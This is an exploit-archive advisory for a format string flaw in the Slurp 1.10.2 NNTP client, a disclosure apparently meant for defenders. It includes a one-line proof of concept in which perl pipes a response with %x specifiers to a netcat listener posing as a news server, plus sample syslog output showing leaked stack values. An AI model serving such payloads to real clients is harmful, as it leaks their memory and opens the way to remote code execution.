Slurp 1.10.2 Format String

Slurp version 1.10.2 suffers from a format string vulnerability.

MD5 | c7e580d45afb71348edf920a4484967e

# Exploit Title: Slurp 1.10.2 - Remote Format String Date: 2022-02-12

# Author: Milad Karimi

slurp is a freely available, open source NNTP client. It is designed for use on most Unix and Linux operating systems.

It may be possible for a remote server to execute code on a vulnerable client. slurp offers functionality that allows the software to write messages to the system log. A format string vulnerability in the syslog function may allow a malicious server to supply a custom format string that writes to an arbitrary address in memory.

perl -e 'print "BY BY BY \n666 %x%x%x\n'" | nc -l -p 112

Then check /var/log/messages for something like:

slurp[39926]: do_newnews: NNTP protocol error: got '666 bfbff4f8804bc1bbfbff51c'

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